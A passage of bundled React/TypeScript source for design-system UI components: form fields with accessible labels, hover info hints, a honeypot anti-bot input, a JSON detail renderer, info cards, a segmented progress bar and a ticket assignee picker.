2) {\n      event.preventDefault();\n      focusSegment(i + 1);\n    }\n  };\n\n  return (\n    <div\n      onMouseDown={(event) => {\n        if (event.target === event.currentTarget) {\n          event.preventDefault();\n          focusSegment(0);\n        }\n      }}\n      className={cn(\n        \"flex h-11 w-full items-center gap-[var(--spacing-system-xxs)] rounded-md border border-ods-border bg-ods-card px-[var(--spacing-system-sf)] transition-colors duration-200 md:h-12\",\n        \"cursor-text focus-within:border-ods-accent\",\n        invalid && \"border-ods-error focus-within:border-ods-error\",\n        className,\n      )}\n    >\n      {SEGMENT_META.map((meta, i) => (\n        <Fragment key={meta.label}>\n          {i > 0 && <span className=\"text-ods-text-secondary\">:</span>}\n          <input\n            ref={refs[i]}\n            inputMode=\"numeric\"\n            size={2}\n            value={segments[i]}\n            onChange={handleChange(i)}\n            onKeyDown={handleKeyDown(i)}\n            onFocus={(event) => event.currentTarget.select()}\n            onBlur={() =>\n              setSegments((prev) => {\n                const padded = [...prev] as Segments;\n                padded[i] = pad2(prev[i]);\n                return padded;\n              })\n            }\n            placeholder={meta.placeholder}\n            aria-label={meta.label}\n            className=\"rounded-sm bg-transparent text-center !font-mono text-h4 tabular-nums text-ods-text-primary outline-none placeholder:text-ods-text-secondary focus:bg-ods-bg-hover\"\n          />\n        </Fragment>\n      ))}\n    </div>\n  );\n}\n","'use client'\n\nimport * as React from 'react'\nimport { Label } from './label'\nimport { InfoHint } from './info-hint'\n\n/**\n * Accessibility props handed to the control by the `Field` render-prop.\n * Spread them onto the input/select/textarea so the label, required flag and\n * error message are all announced.\n */\nexport interface FieldRenderProps {\n  id: string\n  'aria-required'?: boolean\n  'aria-invalid'?: boolean\n  'aria-describedby'?: string\n}\n\nexport interface FieldProps {\n  label: string\n  /** Definition shown in a hover `InfoHint` next to the label. */\n  hint?: React.ReactNode\n  required?: boolean\n  children: (props: FieldRenderProps) => React.ReactNode\n  error?: string | null\n  /**\n   * Inline content after the label text — AI badges, confidence chips. Lives in\n   * the LABEL ROW so fields that carry badges keep the same geometry as fields\n   * that don't; a hand-rolled label row next to a `Field` is what makes two\n   * columns' controls land at different heights.\n   */\n  labelExtras?: React.ReactNode\n  /**\n   * Right-aligned content at the end of the label row — character counters,\n   * shortcuts. Same rationale: a counter rendered as its own row under the\n   * control gives that column an extra line and misaligns every sibling.\n   */\n  labelEnd?: React.ReactNode\n}\n\n/**\n * One form field: label, optional hint, control, optional error.\n *\n * Labels are a single line (hints live in the hover InfoHint icon, never in\n * flow), so cells top-align naturally and controls land on the same baseline.\n * Do NOT reintroduce `h-full` + `mt-auto` here: in a grid row it stretches the\n * cell to the tallest sibling and shoves this cell's control down to align with\n * the bottom of the sibling's ERROR text, detaching it from its own label.\n *\n * The label is tied to its control with a generated id, so clicking the label\n * focuses the input and assistive tech announces the field by name. `children`\n * is a REQUIRED render function — `{(f) => <Input {...f} />}` — spread what it\n * gives you onto the control. A plain-node escape hatch would leave `htmlFor`\n * pointing at an id that exists on no element, which is worse than no\n * association at all (the label looks wired up and announces nothing), so the\n * type doesn't offer one.\n */\nexport function Field({ label, hint, required, children, error, labelExtras, labelEnd }: FieldProps) {\n  const controlId = React.useId()\n  const errorId = `${controlId}-error`\n  const renderProps: FieldRenderProps = {\n    id: controlId,\n    // A bare `*` draws a star and tells assistive tech nothing.\n    ...(required ? { 'aria-required': true } : {}),\n    ...(error ? { 'aria-invalid': true, 'aria-describedby': errorId } : {}),\n  }\n  return (\n    <div className=\"flex flex-col gap-[var(--spacing-system-xxs)]\">\n      <div className=\"flex items-center gap-1.5\">\n        <Label htmlFor={controlId}>\n          {label}\n          {required && ' *'}\n        </Label>\n        {hint && <InfoHint label={label}>{hint}</InfoHint>}\n        {labelExtras}\n        {labelEnd && <span className=\"ml-auto shrink-0\">{labelEnd}</span>}\n      </div>\n      <div className=\"pt-[var(--spacing-system-xxs)]\">\n        {children(renderProps)}\n      </div>\n      {/* `role=\"alert\"` + the id the control points at: a validation message\n          rendered as plain text is never announced. */}\n      {error && (\n        <p id={errorId} role=\"alert\" className=\"text-h6 text-ods-error\">\n          {error}\n        </p>\n      )}\n    </div>\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport { Info } from 'lucide-react'\nimport { Button } from './button'\nimport { FloatingTooltip } from './floating-tooltip'\nimport { cn } from '../../utils/cn'\n\nexport interface InfoHintProps {\n  children: React.ReactNode\n  /** What this hint is ABOUT — 15 buttons all named \"More information\" name nothing. */\n  label?: string\n  side?: 'top' | 'right' | 'bottom' | 'left'\n  className?: string\n}\n\n/**\n * The \"what does this mean?\" affordance — an ⓘ icon that reveals a definition\n * on hover.\n *\n * Config-heavy screens carry vocabulary that is obvious to whoever built the\n * feature and opaque to everyone else — `judged`, `deterministic`, `observe`,\n * `error`. A term nobody can define is a term nobody configures correctly, so\n * every one of them gets a hint rather than a wiki page somebody has to go find.\n *\n * This is a thin cap over `FloatingTooltip`, not a second tooltip: it fixes the\n * icon, the trigger element and the sizing so every hint looks and behaves the\n * same. All the hover/portal/placement behaviour is the shared component's.\n */\nexport function InfoHint({ children, label, side = 'top', className }: InfoHintProps) {\n  const describedById = React.useId()\n  return (\n    <span className={cn('inline-flex shrink-0 items-center', className)}>\n      <FloatingTooltip\n        content={children}\n        side={side}\n        as=\"span\"\n        triggerClassName=\"inline-flex shrink-0 items-center\"\n        // Width comes from FloatingTooltip's shared max-w-xs default — no\n        // per-cap override, so every hint wraps like every other tooltip.\n        className=\"text-h6\"\n      >\n        {/*\n          `icon-inline` is a Button variant, not a className stack. The hint sits\n          inside a line of badges, so `icon-sm`'s 32px target would swamp a 10px\n          badge — and shrinking it at the call site is exactly the override the\n          house rule forbids.\n        */}\n        <Button\n          type=\"button\"\n          variant=\"transparent\"\n          size=\"icon-inline\"\n          // A hint lives inside interactive rows (e.g. a role=\"checkbox\" rule\n          // row): asking \"what does this mean?\" must never toggle the row it\n          // sits in.\n          onClick={(e) => e.stopPropagation()}\n          aria-label={label ? `About ${label}` : 'More information'}\n          aria-describedby={describedById}\n          className=\"text-ods-text-secondary hover:text-ods-text-primary\"\n        >\n          <Info className=\"h-3.5 w-3.5 shrink-0\" />\n        </Button>\n      </FloatingTooltip>\n      {/*\n        The tooltip opens on HOVER only — `FloatingTooltip` composes\n        `useHover`/`useDismiss`/`useRole` and no `useFocus`, so a keyboard user\n        tabbing here would otherwise reach a button that reveals nothing. This\n        visually-hidden copy is the same text, exposed via `aria-describedby`,\n        so assistive tech reads the definition without depending on hover.\n      */}\n      <span id={describedById} className=\"sr-only\">\n        {children}\n      </span>\n    </span>\n  )\n}\n","'use client'\n\nimport { forwardRef } from 'react'\n\n/**\n * HoneypotField — an invisible decoy input for bot detection. Real users never\n * see or fill it; naive bots that fill every field trip it (the server blocks\n * any submission where this field is non-empty).\n *\n * Made invisible WITHOUT `type=\"hidden\"` / `display:none` (sophisticated bots\n * skip those): an off-screen, zero-size, aria-hidden, non-focusable,\n * non-pointer wrapper. Layout utilities only — no colours/hex (ODS-clean). No\n * <label> (avoids id coupling); `aria-hidden` + `tabIndex={-1}` keep it out of\n * the accessibility tree and tab order.\n *\n * forwardRef so `<HoneypotField {...honeypotInputProps} />` (which carries the\n * ref from useHumanitySignals) works on both React 18 and 19.\n */\nexport const HoneypotField = forwardRef<HTMLInputElement, { name: string }>(\n  function HoneypotField({ name }, ref) {\n    return (\n      <div\n        aria-hidden=\"true\"\n        className=\"absolute w-px h-px p-0 -m-px overflow-hidden pointer-events-none opacity-0\"\n      >\n        <input ref={ref} type=\"text\" name={name} tabIndex={-1} autoComplete=\"off\" />\n      </div>\n    )\n  },\n)\n","'use client'\n\nimport * as React from 'react'\nimport { formatRelativeTime } from '../../utils/date-utils'\nimport { cn } from '../../utils/cn'\n\n/**\n * THE generic JSON detail renderer — readable key/value prose for machine\n * payloads whose field names are NOT guaranteed (evidence blobs, audit\n * payloads, webhook bodies). No schema knowledge: keys are humanised,\n * ISO-dates become relative times, nested objects indent, and anything\n * unparseable falls back to raw. Use this instead of `<pre>{JSON.stringify}`\n * or a per-shape bespoke renderer.\n */\n\nconst ISO_DATE = /^\\d{4}-\\d{2}-\\d{2}T\\d{2}:\\d{2}:\\d{2}/\n\nfunction humanizeKey(key: string): string {\n  const spaced = key\n    .replace(/[_-]+/g, ' ')\n    .replace(/([a-z])([A-Z])/g, '$1 $2')\n    .trim()\n  return spaced.charAt(0).toUpperCase() + spaced.slice(1)\n}\n\nfunction Value({ value, depth }: { value: unknown; depth: number }) {\n  if (value === null || value === undefined) {\n    return <span className=\"text-ods-text-secondary\">—</span>\n  }\n  if (typeof value === 'string') {\n    if (ISO_DATE.test(value)) {\n      return (\n        <span title={value} className=\"text-ods-text-secondary\">\n          {formatRelativeTime(value)}\n        </span>\n      )\n    }\n    return <span className=\"whitespace-pre-wrap text-ods-text-primary\">{value}</span>\n  }\n  if (typeof value === 'number' || typeof value === 'boolean') {\n    return <span className=\"text-code text-ods-text-primary\">{String(value)}</span>\n  }\n  if (Array.isArray(value)) {\n    if (value.every(v => typeof v === 'string' || typeof v === 'number')) {\n      return <span className=\"text-ods-text-primary\">{value.join(', ')}</span>\n    }\n    return (\n      <div className=\"space-y-[var(--spacing-system-xxs)]\">\n        {value.map((v, i) => (\n          <Value key={i} value={v} depth={depth + 1} />\n        ))}\n      </div>\n    )\n  }\n  if (typeof value === 'object' && depth < 3) {\n    return <JsonDetailList data={value} depth={depth + 1} />\n  }\n  return (\n    <pre className=\"whitespace-pre-wrap text-code text-ods-text-secondary\">\n      {JSON.stringify(value, null, 2)}\n    </pre>\n  )\n}\n\nexport interface JsonDetailListProps {\n  /** Object, array, JSON string, or any scalar — rendered faithfully either way. */\n  data: unknown\n  /** Internal nesting level — leave at the default from call sites. */\n  depth?: number\n}\n\nexport function JsonDetailList({ data, depth = 0 }: JsonDetailListProps) {\n  let parseFailed = false\n  const obj =\n    typeof data === 'string'\n      ? (() => {\n          try {\n            return JSON.parse(data) as unknown\n          } catch {\n            parseFailed = true\n            return null\n          }\n        })()\n      : data\n\n  if (!obj || typeof obj !== 'object' || Array.isArray(obj)) {\n    // A string that ISN'T JSON is prose — show it as-is.\n    if (typeof data === 'string' && parseFailed) {\n      return <p className=\"whitespace-pre-wrap text-h6 text-ods-text-primary\">{data}</p>\n    }\n    // Everything else is a real (parsed or given) non-object VALUE — an array,\n    // scalar, or null. Render the value through `Value`, never the source\n    // string: `'[\"a\",\"b\"]'` must render as the array, not as raw JSON text.\n    return (\n      <div className=\"text-h6\">\n        <Value value={obj} depth={depth} />\n      </div>\n    )\n  }\n\n  return (\n    <dl\n      className={cn(\n        'space-y-[var(--spacing-system-xsf)]',\n        depth > 0 && 'pl-[var(--spacing-system-sf)] border-l border-ods-border',\n      )}\n    >\n      {Object.entries(obj as Record<string, unknown>).map(([key, value]) => (\n        <div key={key}>\n          <dt className=\"text-h6 text-ods-text-secondary\">{humanizeKey(key)}</dt>\n          <dd className=\"text-h6\">\n            <Value value={value} depth={depth} />\n          </dd>\n        </div>\n      ))}\n    </dl>\n  )\n}\n","'use client'\n\nimport React from 'react'\nimport { cn } from '../../utils/cn'\nimport { Copy01Icon } from '../icons-v2-generated/documents'\nimport { CheckIcon } from '../icons-v2-generated'\nimport { useCopyToClipboard } from '../../hooks'\nimport { ProgressBar } from './progress-bar'\n\nexport interface InfoCardFooterData {\n  /** Leading icon next to the text, expected at 24x24 (e.g. <ShieldCheckIcon size={24} />) */\n  icon?: React.ReactNode\n  text: string\n  /** Trailing icon/logo aligned to the right edge, expected at 24x24 */\n  logo?: React.ReactNode\n  /** External resource link rendered below the text row */\n  link?: {\n    href: string\n    /** Defaults to href without the protocol */\n    label?: string\n  }\n}\n\nexport interface InfoCardData {\n  title?: string\n  subtitle?: string\n  icon?: React.ReactNode\n  items: Array<{\n    label?: string\n    value: string | string[]\n    copyable?: boolean\n    /** Optional trailing icon/logo (e.g. an SVG) rendered next to the value */\n    icon?: React.ReactNode\n  }>\n  progress?: {\n    value: number\n    warningThreshold?: number\n    criticalThreshold?: number\n    inverted?: boolean  // if true, high values are good (green), low values are bad (red)\n  }\n  /** Optional footer rendered below the content, separated by a divider line */\n  footer?: InfoCardFooterData\n}\n\ninterface InfoCardProps {\n  data: InfoCardData\n  className?: string\n}\n\nexport function InfoCard({ data, className = '' }: InfoCardProps) {\n  return (\n    <div\n      className={cn(\n        'bg-ods-card border border-ods-border rounded-md overflow-hidden flex flex-col w-full',\n        className,\n      )}\n    >\n      {/* Header (title + subtitle) and body (rows + progress) are two groups separated by\n          `gap-l`; the title/subtitle stack tightly and the rows use `gap-xs` — matching the ODS\n          \"Info-card\" design. With no title/subtitle, the body is the only group. */}\n      <div className=\"p-[var(--spacing-system-m)] flex flex-col gap-[var(--spacing-system-l)] items-start w-full\">\n        {(data.title || data.subtitle) && (\n          <div className=\"flex flex-col items-start self-stretch w-full\">\n            {data.title && (\n              <div className=\"flex items-center gap-[var(--spacing-system-xsf)] self-stretch\">\n                <span className=\"text-h4 text-ods-text-primary truncate min-w-0\" title={data.title}>\n                  {data.title}\n                </span>\n                {data.icon}\n              </div>\n            )}\n            {data.subtitle && (\n              <div className=\"flex items-center gap-[var(--spacing-system-xsf)] self-stretch\">\n                <span className=\"text-h4 text-ods-text-secondary truncate min-w-0\" title={data.subtitle}>\n                  {data.subtitle}\n                </span>\n                {/* Icon lives with the title when present; otherwise it falls to the subtitle so\n                    subtitle-only cards still render it. */}\n                {!data.title && data.icon}\n              </div>\n            )}\n          </div>\n        )}\n\n        {(data.items.length > 0 || data.progress) && (\n          <div className=\"flex flex-col gap-[var(--spacing-system-xs)] items-start self-stretch w-full\">\n            {/* Info items */}\n            {data.items.map((item, index) => {\n              const values = Array.isArray(item.value) ? item.value : [item.value]\n\n              return (\n                <React.Fragment key={index}>\n                  {values.map((val, valIndex) => (\n                    <InfoCardValueRow\n                      key={`${index}-${valIndex}`}\n                      label={item.label}\n                      value={val}\n                      showLabel={valIndex === 0}\n                      copyable={item.copyable}\n                      icon={valIndex === 0 ? item.icon : undefined}\n                      copyAriaLabel={`Copy ${item.label ?? 'value'} ${valIndex + 1}`}\n                    />\n                  ))}\n                </React.Fragment>\n              )\n            })}\n\n            {/* Progress bar */}\n            {data.progress && (\n              <ProgressBar\n                progress={data.progress.value}\n                warningThreshold={data.progress.warningThreshold}\n                criticalThreshold={data.progress.criticalThreshold}\n                inverted={data.progress.inverted}\n              />\n            )}\n          </div>\n        )}\n      </div>\n\n      {/* Footer */}\n      {data.footer && <InfoCardFooter footer={data.footer} />}\n    </div>\n  )\n}\n\nfunction InfoCardFooter({ footer }: { footer: InfoCardFooterData }) {\n  return (\n    <div className=\"mt-auto border-t border-ods-border p-[var(--spacing-system-m)] flex flex-col w-full\">\n      <div className=\"flex items-center justify-between gap-1 w-full\">\n        <div className=\"flex items-center gap-1\">\n          {footer.icon}\n          <span className=\"text-h4 text-ods-text-primary\">{footer.text}</span>\n        </div>\n        {footer.logo}\n      </div>\n      {footer.link && (\n        <a\n          href={footer.link.href}\n          target=\"_blank\"\n          rel=\"noopener noreferrer\"\n          className=\"text-h6 text-ods-text-secondary underline truncate hover:text-ods-text-primary\"\n        >\n          {footer.link.label ?? footer.link.href.replace(/^https?:\\/\\//, '')}\n        </a>\n      )}\n    </div>\n  )\n}\n\ninterface InfoCardValueRowProps {\n  label?: string\n  value: string\n  showLabel: boolean\n  copyable?: boolean\n  icon?: React.ReactNode\n  copyAriaLabel: string\n}\n\nfunction InfoCardValueRow({ label, value, showLabel, copyable, icon, copyAriaLabel }: InfoCardValueRowProps) {\n  const { copy, copied } = useCopyToClipboard()\n\n  return (\n    <div className=\"flex h-6 items-center gap-[var(--spacing-system-xs)] self-stretch w-full\">\n      <span className=\"text-h4 text-ods-text-primary whitespace-nowrap\">\n        {showLabel ? label : ''}\n      </span>\n      <div className=\"flex-1 h-px bg-ods-divider\" />\n      <div className=\"flex items-center gap-[var(--spacing-system-xsf)] max-w-[60%]\">\n        <span\n          className=\"text-h4 text-ods-text-primary truncate select-text\"\n          title={value}\n        >\n          {value}\n        </span>\n        {icon}\n        {copyable && (\n          <button\n            type=\"button\"\n            onClick={() => copy(value)}\n            className={cn(\n              'transition-colors',\n              copied ? 'text-ods-success' : 'text-ods-text-secondary hover:text-ods-text-primary',\n            )}\n            aria-label={copyAriaLabel}\n          >\n            {copied ? <CheckIcon size={16} /> : <Copy01Icon size={16} />}\n          </button>\n        )}\n      </div>\n    </div>\n  )\n}\n","'use client';\n\nimport React, { useEffect, useRef, useState } from 'react';\nimport { useMdUp } from '../../hooks';\n\ntype ProgressBarProps = {\n  progress: number; // 0–100\n  warningThreshold?: number; // default 70\n  criticalThreshold?: number; // default 90\n  segmentWidth?: number; // desktop segment width (px)\n  mobileSegmentWidth?: number; // mobile segment width (px)\n  segmentGap?: number; // px, default 2\n  height?: number; // desktop height (px)\n  mobileHeight?: number; // mobile height (px)\n  inverted?: boolean; // if true, high values are good (green), low values are bad (red)\n};\n\nexport const ProgressBar: React.FC<ProgressBarProps> = ({\n  progress,\n  warningThreshold = 75,\n  criticalThreshold = 90,\n  segmentWidth = 3.43,\n  mobileSegmentWidth = 5,\n  segmentGap = 2,\n  height = 24,\n  mobileHeight = 8,\n  inverted = false,\n}) => {\n  const isMdUp = useMdUp() ?? true;\n  const effectiveSegmentWidth = isMdUp ? segmentWidth : mobileSegmentWidth;\n  const effectiveHeight = isMdUp ? height : mobileHeight;\n\n  const containerRef = useRef<HTMLDivElement>(null);\n  const [segmentCount, setSegmentCount] = useState(0);\n\n  useEffect(() => {\n    if (!containerRef.current) return;\n\n    const resizeObserver = new ResizeObserver(() => {\n      if (containerRef.current) {\n        const width = containerRef.current.offsetWidth;\n        // N segments have only (N-1) gaps, so add one gap back before dividing —\n        // otherwise the last segment is dropped due to a phantom trailing gap.\n        const count = Math.floor((width + segmentGap) / (effectiveSegmentWidth + segmentGap));\n        setSegmentCount(count);\n      }\n    });\n\n    resizeObserver.observe(containerRef.current);\n\n    return () => resizeObserver.disconnect();\n  }, [effectiveSegmentWidth, segmentGap]);\n\n  // Pick color based on thresholds using ODS design tokens\n  const getColor = () => {\n    if (inverted) {\n      // Inverted: high values = good (green), low values = bad (red)\n      // For battery health: 100% = green, <30% = red\n      if (progress >= criticalThreshold) return \"var(--color-success)\"; // high = green\n      if (progress >= warningThreshold) return \"var(--color-warning)\"; // medium = warning\n      return \"var(--color-error)\"; // low = red\n    } else {\n      // Normal: high values = bad (red), low values = good (green)\n      // For disk usage: 100% = red, <70% = green\n      if (progress >= criticalThreshold) return \"var(--color-error)\"; // critical red\n      if (progress >= warningThreshold) return \"var(--color-warning)\"; // warning yellow\n      return \"var(--color-success)\"; // base green\n    }\n  };\n\n  return (\n    <div\n      ref={containerRef}\n      className=\"w-full flex\"\n      style={{ gap: `${segmentGap}px` }}\n    >\n      {Array.from({ length: segmentCount }).map((_, i) => (\n        <div\n          key={i}\n          className=\"rounded\"\n          style={{\n            width: `${effectiveSegmentWidth}px`,\n            height: `${effectiveHeight}px`,\n            backgroundColor:\n              i < Math.round((progress / 100) * segmentCount)\n                ? getColor()\n                : \"var(--color-bg-surface-active)\", // unfilled segments\n          }}\n        />\n      ))}\n    </div>\n  );\n};\n","\"use client\"\n\ninterface InfoRowProps {\n  label: string\n  value: string\n  icon?: React.ReactNode\n}\n\nexport function InfoRow({ label, value, icon }: InfoRowProps) {\n  return (\n    <div className=\"flex gap-2 items-center w-full\">\n      <div className=\"text-h4 text-ods-text-primary overflow-hidden text-ellipsis whitespace-nowrap\">\n        {label}\n      </div>\n      <div className=\"flex-1 bg-ods-border h-px min-h-px min-w-px\" />\n      <div className=\"text-h4 text-ods-text-primary overflow-hidden text-ellipsis whitespace-nowrap flex items-center gap-1\">\n        {value}\n        {icon}\n      </div>\n    </div>\n  )\n}","'use client'\n\nimport * as React from 'react'\nimport Link from '../../embed-shims/next-link'\nimport { cn } from '../../utils/cn'\nimport { AssigneeDropdown, type AssigneeDropdownProps } from './assignee-dropdown'\nimport { SquareAvatar } from './square-avatar'\nimport { TicketStatusTag, type TicketStatusTagProps } from './ticket-status-tag'\n\n/** A plain-text value, optionally with a trailing image (avatar), leading icon, or click action. */\nexport interface InfoSectionTextValue {\n  type?: 'text'\n  text: string\n  /** Image shown after the text (e.g. a user or organization avatar). */\n  imageSrc?: string\n  /** Initials shown when the image is missing or fails to load. Defaults to `text`. */\n  imageFallback?: string\n  /** Avatar shape. Defaults to `round`. */\n  imageVariant?: 'square' | 'round'\n  /** Icon shown before the text. */\n  icon?: React.ReactNode\n  /** Renders the text as a button; on hover it takes the accent color. */\n  onClick?: () => void\n  /**\n   * Renders the text as a link (Next.js `Link`). Takes precedence over `onClick`.\n   * A regular click navigates in the same tab; the browser's native new-tab\n   * affordances (cmd/ctrl-click, \"open in new tab\") work as usual.\n   */\n  href?: string\n  /** Force the link to always open in a new tab (sets `target=\"_blank\"`). */\n  openInNewTab?: boolean\n}\n\n/** An inline assignee picker (autocomplete with search). Defaults to the `compact` variant. */\nexport type InfoSectionAssigneeValue = { type: 'assignee' } & AssigneeDropdownProps\n\n/** An inline status changer (dropdown). Pass `options` + `onSelect` to make it interactive. */\nexport type InfoSectionStatusValue = { type: 'status' } & TicketStatusTagProps\n\n/** Arbitrary value content. */\nexport interface InfoSectionCustomValue {\n  type: 'custom'\n  content: React.ReactNode\n}\n\nexport type InfoSectionValue =\n  | InfoSectionTextValue\n  | InfoSectionAssigneeValue\n  | InfoSectionStatusValue\n  | InfoSectionCustomValue\n\nexport interface InfoSectionRow {\n  /** Stable key for the row. */\n  id: string\n  /** Left-side label. */\n  label: string\n  /** Right-side value: text (with optional image), assignee picker, status dropdown, or custom node. */\n  value: InfoSectionValue\n}\n\nexport interface InfoSectionProps {\n  /** Optional caption rendered above the card (e.g. \"Ticket Details\"). */\n  title?: string\n  rows: InfoSectionRow[]\n  className?: string\n}\n\nfunction TextValue({ value }: { value: InfoSectionTextValue }) {\n  const { text, imageSrc, imageFallback, imageVariant = 'round', icon, onClick, href, openInNewTab } = value\n  const hasImage = imageSrc !== undefined || imageFallback !== undefined\n  const interactiveClass = 'truncate text-left text-h4 text-ods-text-primary transition-colors hover:text-ods-accent'\n  return (\n    <>\n      {icon && (\n        <span className=\"flex size-4 shrink-0 items-center justify-center text-ods-text-secondary\">{icon}</span>\n      )}\n      {href ? (\n        <Link\n          href={href}\n          target={openInNewTab ? '_blank' : undefined}\n          rel={openInNewTab ? 'noopener noreferrer' : undefined}\n          title={text}\n          className={interactiveClass}\n        >\n          {text}\n        </Link>\n      ) : onClick ? (\n        <button type=\"button\" onClick={onClick} title={text} className={interactiveClass}>\n          {text}\n        </button>\n      ) : (\n        <span className=\"truncate text-h4 text-ods-text-primary\" title={text}>\n          {text}\n        </span>\n      )}\n      {hasImage && (\n        <SquareAvatar\n          src={imageSrc}\n          alt={text}\n          fallback={imageFallback ?? text}\n          size=\"sm\"\n          variant={imageVariant}\n          className=\"h-4 w-4\"\n        />\n      )}\n    </>\n  )\n}\n\nfunction RowValue({ value }: { value: InfoSectionValue }) {\n  switch (value.type) {\n    case 'assignee': {\n      const { type: _type, ...props } = value\n      return <AssigneeDropdown {...props} variant={props.variant ?? 'compact'} />\n    }\n    case 'status': {\n      const { type: _type, ...props } = value\n      return <TicketStatusTag {...props} />\n    }\n    case 'custom':\n      return <>{value.content}</>\n    default:\n      return <TextValue value={value} />\n  }\n}\n\n/**\n * A labelled info card: a vertical stack of `label —— value` rows inside a\n * bordered card, with an optional uppercase caption above it. Each row's value\n * is configurable — plain text (with an optional trailing image), an inline\n * assignee picker (autocomplete with search), an inline status dropdown, or an\n * arbitrary node.\n */\nexport function InfoSection({ title, rows, className }: InfoSectionProps) {\n  return (\n    <div className={cn('flex flex-col gap-[var(--spacing-system-xxs)]', className)}>\n      {title && <p className=\"text-h5 text-ods-text-secondary\">{title}</p>}\n      <div className=\"flex flex-col gap-[var(--spacing-system-xsf)] rounded-md border border-ods-border bg-ods-card p-[var(--spacing-system-mf)]\">\n        {rows.map(row => (\n          <div key={row.id} className=\"flex w-full min-w-0 items-center gap-[var(--spacing-system-xsf)]\">\n            <span className=\"shrink-0 text-h4 text-ods-text-secondary\">{row.label}</span>\n            <div className=\"h-px min-w-4 flex-1 bg-ods-border\" />\n            <div className=\"flex min-w-0 items-center gap-[var(--spacing-system-xsf)]\">\n              <RowValue value={row.value} />\n            </div>\n          </div>\n        ))}\n      </div>\n    </div>\n  )\n}\n","'use client'\n\nimport * as React from 'react'\nimport { PenEditIcon, UserIcon, UserPlusIcon } from '../icons-v2-generated'\nimport { cn } from '../../utils/cn'\nimport { Autocomplete, type AutocompleteOption } from './autocomplete'\nimport { DeletedUserAvatar } from './deleted-user-avatar'\nimport { SearchableSelect, type SearchableSelectOption } from './searchable-select'\nimport { SquareAvatar } from './square-avatar'\n\nexport interface TicketAssigneeOption {\n  value: string\n  label: string\n  imageUrl?: string\n}\n\nexport interface AssigneeDropdownProps {\n  currentAssignee?: {\n    id: string\n    name: string\n    avatarSrc?: string\n    /** Deleted account (DELETED / SELF_DELETED) — renders the red user-x placeholder + red name. */\n    deleted?: boolean\n  }\n  options: TicketAssigneeOption[]\n  isLoading?: boolean\n  isPending?: boolean\n  onAssign: (userId: string | null) => void\n  variant?: 'default' | 'compact'\n  className?: string\n  /**\n   * Intercepts the trigger: when set (compact variant), clicking the\n   * avatar/assign button calls this instead of opening the dropdown — e.g. to\n   * open a Take Over confirmation for tickets still worked by the AI.\n   */\n  onTriggerClick?: () => void\n}\n\nexport function AssigneeDropdown(props: AssigneeDropdownProps) {\n  if (props.variant === 'compact') {\n    return <CompactAssigneeDropdown {...props} />\n  }\n  return <DefaultAssigneeDropdown {...props} />\n}\n\nfunction CompactAssigneeDropdown({\n  currentAssignee,\n  options,\n  isLoading,\n  onAssign,\n  className,\n  onTriggerClick,\n}: AssigneeDropdownProps) {\n  const hasAssignee = !!currentAssignee\n\n  // Current assignee first; SearchableSelect filters but never reorders.\n  const orderedOptions = React.useMemo<SearchableSelectOption[]>(() => {\n    const withAvatars = options.map(o => ({\n      value: o.value,\n      label: o.label,\n      icon: (\n        <SquareAvatar\n          src={o.imageUrl}\n          alt={o.label}\n          fallback={o.label}\n          size=\"sm\"\n          variant=\"round\"\n          className=\"h-6 w-6 shrink-0\"\n        />\n      ),\n    }))\n    if (!currentAssignee) return withAvatars\n    const current = withAvatars.find(o => o.value === currentAssignee.id)\n    if (!current) return withAvatars\n    return [current, ...withAvatars.filter(o => o.value !== currentAssignee.id)]\n  }, [options, currentAssignee])\n\n  const handleSelect = (userId: string) => {\n    // Selecting the current assignee again unassigns.\n    onAssign(currentAssignee?.id === userId ? null : userId)\n  }\n\n  // Board cards are links: an intercepted trigger must not navigate or bubble.\n  const handleTriggerClick = onTriggerClick\n    ? (event: React.MouseEvent) => {\n        event.preventDefault()\n        event.stopPropagation()\n        onTriggerClick()\n      }\n    : undefined\n\n  const trigger = hasAssignee ? (\n    <button\n      type=\"button\"\n      onClick={handleTriggerClick}\n      aria-label=\"Change assignee\"\n      className={cn(\n        'shrink-0 rounded-full focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ods-focus',\n        className,\n      )}\n    >\n      {currentAssignee.deleted ? (\n        <DeletedUserAvatar size=\"sm\" accessibleLabel={`Deleted user: ${currentAssignee.name || currentAssignee.id}`} />\n      ) : (\n        <SquareAvatar\n          src={currentAssignee.avatarSrc}\n          alt={currentAssignee.name}\n          fallback={currentAssignee.name || 'User'}\n          size=\"sm\"\n          variant=\"round\"\n        />\n      )}\n    </button>\n  ) : (\n    <button\n      type=\"button\"\n      onClick={handleTriggerClick}\n      aria-label=\"Assign user\"\n      className={cn(\n        'size-8 rounded-full border border-ods-border flex items-center justify-center shrink-0',\n        'text-ods-text-secondary hover:text-ods-accent hover:border-ods-accent transition-colors',\n        'focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ods-focus',\n        className,\n      )}\n    >\n      <UserPlusIcon className=\"size-4\" />\n    </button>\n  )\n\n  // Intercepted trigger: render the plain button — no dropdown to open.\n  if (onTriggerClick) return trigger\n\n  return (\n    <SearchableSelect\n      options={orderedOptions}\n      value={currentAssignee?.id ?? null}\n      onValueChange={handleSelect}\n      searchPlaceholder=\"Search users...\"\n      emptyText=\"No users found\"\n      isLoading={isLoading}\n      trigger={trigger}\n      align=\"end\"\n      contentClassName=\"w-72\"\n    />\n  )\n}\n\nfunction DefaultAssigneeDropdown({\n  currentAssignee,\n  options,\n  isLoading,\n  onAssign,\n  className,\n}: AssigneeDropdownProps) {\n  const [isEditing, setIsEditing] = React.useState(false)\n  const hasAssignee = !!currentAssignee\n\n  const renderOption = React.useCallback((option: AutocompleteOption) => {\n    const opt = option as TicketAssigneeOption\n    return (\n      <div className=\"flex items-center gap-[var(--spacing-system-sf)] w-full min-w-0\">\n        <SquareAvatar\n          src={opt.imageUrl}\n          alt={opt.label}\n          fallback={opt.label}\n          size=\"sm\"\n          variant=\"round\"\n          className=\"h-6 w-6 shrink-0\"\n        />\n        <span className=\"truncate\" title={opt.label}>{opt.label}</span>\n      </div>\n    )\n  }, [])\n\n  if (isEditing) {\n    return (\n      <div className={cn('min-w-0', className)}>\n        <Autocomplete\n          options={options}\n          value={currentAssignee?.id ?? null}\n          onChange={val => {\n            onAssign(val)\n            setIsEditing(false)\n          }}\n          placeholder=\"Search users...\"\n          loading={isLoading}\n          showChevron={false}\n          startAdornment={\n            hasAssignee ? (\n              currentAssignee!.deleted ? (\n                <DeletedUserAvatar\n                  size=\"sm\"\n                  className=\"h-6 w-6\"\n                  accessibleLabel={`Deleted user: ${currentAssignee!.name || 